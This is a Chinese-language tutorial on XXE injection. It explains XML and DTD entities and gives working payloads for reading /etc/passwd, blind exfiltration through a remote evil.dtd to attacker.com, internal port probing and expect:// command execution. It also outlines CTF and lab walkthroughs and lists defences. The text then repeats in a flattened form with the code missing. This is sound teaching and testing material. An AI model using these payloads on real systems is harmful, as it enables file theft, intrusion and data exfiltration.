XXE漏洞原理
字数 1173 2025-08-15 21:33:46

XXE漏洞原理与利用详解

1. XML基础概念

1.1 XML定义

XML(eXtensible Markup Language)是一种用于传输和存储数据的可扩展标记语言,与HTML用于显示数据不同,XML专注于数据交换。

1.2 XML语法规则

  1. 所有XML元素必须有闭合标签
  2. 标签对大小写敏感
  3. 必须正确嵌套
  4. 属性值必须加引号
  5. 特殊字符需使用实体引用(如<&lt;表示)

1.3 XML文档结构

  1. XML文档声明(第一行)
  2. 文档类型定义(DTD,XXE漏洞所在)
  3. XML文档元素

2. DTD(文档类型定义)

2.1 DTD作用

定义XML文档的合法构建模块,可在XML文档内声明或外部引用。

2.2 DTD声明方式

  • 内部声明
<!DOCTYPE 根元素 [元素声明]>
  • 外部声明
<!DOCTYPE 根元素 SYSTEM "文件名">
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

2.3 DTD实体

用于定义引用普通文本或特殊字符的快捷方式变量。

  • 内部实体声明
<!ENTITY 实体名称 "实体的值">
  • 外部实体声明
<!ENTITY 实体名称 SYSTEM "URL">
<!ENTITY 实体名称 PUBLIC "public_ID" "URL">
  • 参数实体(只能在DTD中定义使用):
<!ENTITY % 实体名称 "值">
<!ENTITY % 实体名称 SYSTEM "URL">

3. XXE漏洞原理

XXE(XML External Entity Injection)即XML外部实体注入,当XML在引入外部实体时完成注入攻击。

3.1 漏洞成因

允许加载外部实体,导致解析XML时可加载恶意外部文件。

3.2 支持协议

不同语言支持的协议不同,常见的有:

  • file://
  • http://
  • ftp://
  • php://
  • expect://(需安装expect扩展)

4. XXE漏洞危害

4.1 文件读取(有回显)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///etc/passwd">
]>
<user>
  <username>&xxes;</username>
  <password>admin</password>
</user>

4.2 文件读取(无回显/Blind XXE)

利用参数实体和远程服务器外带数据:

  1. 远程evil.dtd文件内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/%file;'>">
  1. 攻击payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;%int;%send;
]>

4.3 端口探测

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "http://127.0.0.1:8000">
]>
<user>
  <username>&xxes;</username>
  <password>admin</password>
</user>

4.4 命令执行(需expect扩展)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "expect://id">
]>
<user>
  <username>&xxes;</username>
  <password>admin</password>
</user>

5. 实际案例

5.1 CTF题目示例

  1. 发现API接受JSON格式数据
  2. 尝试修改Content-Type为application/xml
  3. 构造XXE payload读取目标文件

5.2 Vulnhub靶场示例

  1. 通过robots.txt发现敏感目录
  2. 发现XML数据传输端点
  3. 利用XXE读取/etc/passwd
  4. 读取admin.php源码获取凭证
  5. 登录后获取flag

6. XXE防御措施

6.1 PHP防御方法

libxml_disable_entity_loader(true);

6.2 其他防御措施

  1. 禁用外部实体加载
  2. 使用白名单验证输入
  3. 使用简单的数据格式(如JSON)替代XML
  4. 及时更新XML处理器库

7. 关键点总结

  1. XXE漏洞核心在于外部实体的不当加载
  2. 利用方式多样:文件读取、SSRF、端口扫描、命令执行等
  3. 无回显情况下可通过参数实体外带数据
  4. 防御关键在于禁用外部实体加载
  5. 实际渗透中需注意Content-Type的修改和响应分析

通过深入理解XML结构和DTD定义,掌握XXE漏洞的原理和多种利用方式,能够在安全测试中有效发现和利用此类漏洞,同时采取适当措施进行防御。

XXE漏洞原理与利用详解 1. XML基础概念 1.1 XML定义 XML(eXtensible Markup Language)是一种用于传输和存储数据的可扩展标记语言,与HTML用于显示数据不同,XML专注于数据交换。 1.2 XML语法规则 所有XML元素必须有闭合标签 标签对大小写敏感 必须正确嵌套 属性值必须加引号 特殊字符需使用实体引用(如 < 用 &lt; 表示) 1.3 XML文档结构 XML文档声明(第一行) 文档类型定义(DTD,XXE漏洞所在) XML文档元素 2. DTD(文档类型定义) 2.1 DTD作用 定义XML文档的合法构建模块,可在XML文档内声明或外部引用。 2.2 DTD声明方式 内部声明 : 外部声明 : 2.3 DTD实体 用于定义引用普通文本或特殊字符的快捷方式变量。 内部实体声明 : 外部实体声明 : 参数实体 (只能在DTD中定义使用): 3. XXE漏洞原理 XXE(XML External Entity Injection)即XML外部实体注入,当XML在引入外部实体时完成注入攻击。 3.1 漏洞成因 允许加载外部实体,导致解析XML时可加载恶意外部文件。 3.2 支持协议 不同语言支持的协议不同,常见的有: file:// http:// ftp:// php:// expect://(需安装expect扩展) 4. XXE漏洞危害 4.1 文件读取(有回显) 4.2 文件读取(无回显/Blind XXE) 利用参数实体和远程服务器外带数据: 远程evil.dtd文件内容: 攻击payload: 4.3 端口探测 4.4 命令执行(需expect扩展) 5. 实际案例 5.1 CTF题目示例 发现API接受JSON格式数据 尝试修改Content-Type为application/xml 构造XXE payload读取目标文件 5.2 Vulnhub靶场示例 通过robots.txt发现敏感目录 发现XML数据传输端点 利用XXE读取/etc/passwd 读取admin.php源码获取凭证 登录后获取flag 6. XXE防御措施 6.1 PHP防御方法 6.2 其他防御措施 禁用外部实体加载 使用白名单验证输入 使用简单的数据格式(如JSON)替代XML 及时更新XML处理器库 7. 关键点总结 XXE漏洞核心在于外部实体的不当加载 利用方式多样:文件读取、SSRF、端口扫描、命令执行等 无回显情况下可通过参数实体外带数据 防御关键在于禁用外部实体加载 实际渗透中需注意Content-Type的修改和响应分析 通过深入理解XML结构和DTD定义,掌握XXE漏洞的原理和多种利用方式,能够在安全测试中有效发现和利用此类漏洞,同时采取适当措施进行防御。